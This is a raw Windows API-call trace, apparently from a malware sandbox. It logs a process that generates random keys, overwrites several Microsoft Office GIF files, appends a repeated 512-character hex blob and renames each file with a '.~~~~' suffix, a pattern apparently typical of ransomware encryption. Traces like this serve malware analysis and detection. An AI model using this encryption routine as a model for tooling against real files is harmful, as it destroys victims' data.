	[0128.244] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.244] GetLastError () returned 0x0
	[0128.244] GetLastError () returned 0x0
	[0128.245] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffee3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.245] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x11d, lpOverlapped=0x0) returned 1
	[0128.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.248] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.248] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.248] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.248] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.248] CloseHandle (hObject=0x13c) returned 1
	[0128.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f648
	[0128.248] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif.~~~~")) returned 1
	[0128.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f648 | out: hHeap=0x300000) returned 1
	[0128.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.250] GetLastError () returned 0x0
	[0128.251] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.252] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.252] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.252] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24824206479) returned 1
	[0128.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5e4c9b0, dwHighDateTime=0x1d60e1e)) 
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccc80
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccc80 | out: hHeap=0x300000) returned 1
	[0128.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f6f0
	[0128.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f6f0 | out: hHeap=0x300000) returned 1
	[0128.253] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.253] GetLastError () returned 0x0
	[0128.253] GetLastError () returned 0x0
	[0128.253] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.253] GetLastError () returned 0x0
	[0128.253] GetLastError () returned 0x0
	[0128.255] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffdb1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.255] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x24f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x24f, lpOverlapped=0x0) returned 1
	[0128.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.257] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.257] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.257] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.258] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.258] CloseHandle (hObject=0x13c) returned 1
	[0128.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f6f0
	[0128.258] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif.~~~~")) returned 1
	[0128.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f6f0 | out: hHeap=0x300000) returned 1
	[0128.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.259] GetLastError () returned 0x0
	[0128.261] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.262] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.262] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.262] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24825222340) returned 1
	[0128.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5e72b10, dwHighDateTime=0x1d60e1e)) 
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccc48
	[0128.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccc48 | out: hHeap=0x300000) returned 1
	[0128.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f798
	[0128.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f798 | out: hHeap=0x300000) returned 1
	[0128.263] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.263] GetLastError () returned 0x0
	[0128.263] GetLastError () returned 0x0
	[0128.264] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.264] GetLastError () returned 0x0
	[0128.264] GetLastError () returned 0x0
	[0128.265] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffdb1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.265] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x24f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x24f, lpOverlapped=0x0) returned 1
	[0128.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.267] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.267] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.267] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.268] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.268] CloseHandle (hObject=0x13c) returned 1
	[0128.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f798
	[0128.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif.~~~~")) returned 1
	[0128.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f798 | out: hHeap=0x300000) returned 1
	[0128.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.269] GetLastError () returned 0x0
	[0128.270] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.271] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24826366510) returned 1
	[0128.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5e98c70, dwHighDateTime=0x1d60e1e)) 
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccc10
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccc10 | out: hHeap=0x300000) returned 1
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b66b8
	[0128.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0128.275] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.275] GetLastError () returned 0x0
	[0128.275] GetLastError () returned 0x0
	[0128.275] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.275] GetLastError () returned 0x0
	[0128.275] GetLastError () returned 0x0
	[0128.304] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.305] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3d7, lpOverlapped=0x0) returned 1
	[0128.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.307] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.307] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.308] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.308] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.308] CloseHandle (hObject=0x13c) returned 1
	[0128.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7528
	[0128.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif.~~~~")) returned 1
	[0128.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7528 | out: hHeap=0x300000) returned 1
	[0128.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.335] GetLastError () returned 0x0
	[0128.362] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29fe350) returned 1
	[0128.363] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.364] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.364] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24835389898) returned 1
	[0128.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5f57350, dwHighDateTime=0x1d60e1e)) 
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ca18
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca18 | out: hHeap=0x300000) returned 1
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b73d8
	[0128.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b73d8 | out: hHeap=0x300000) returned 1
	[0128.365] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.365] GetLastError () returned 0x0
	[0128.365] GetLastError () returned 0x0
	[0128.365] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.365] GetLastError () returned 0x0
	[0128.365] GetLastError () returned 0x0
	[0128.368] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.368] WriteFile (in: hFile=0x120, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xae, lpOverlapped=0x0) returned 1
	[0128.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0128.370] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.370] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.370] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.371] CloseHandle (hObject=0x120) returned 1
	[0128.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b73d8
	[0128.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif.~~~~")) returned 1
	[0128.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b73d8 | out: hHeap=0x300000) returned 1
	[0128.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.374] GetLastError () returned 0x0
	[0128.374] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29fe350) returned 1
	[0128.375] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.375] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.376] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24836564942) returned 1
	[0128.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5f7d4b0, dwHighDateTime=0x1d60e1e)) 
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ca50
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca50 | out: hHeap=0x300000) returned 1
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
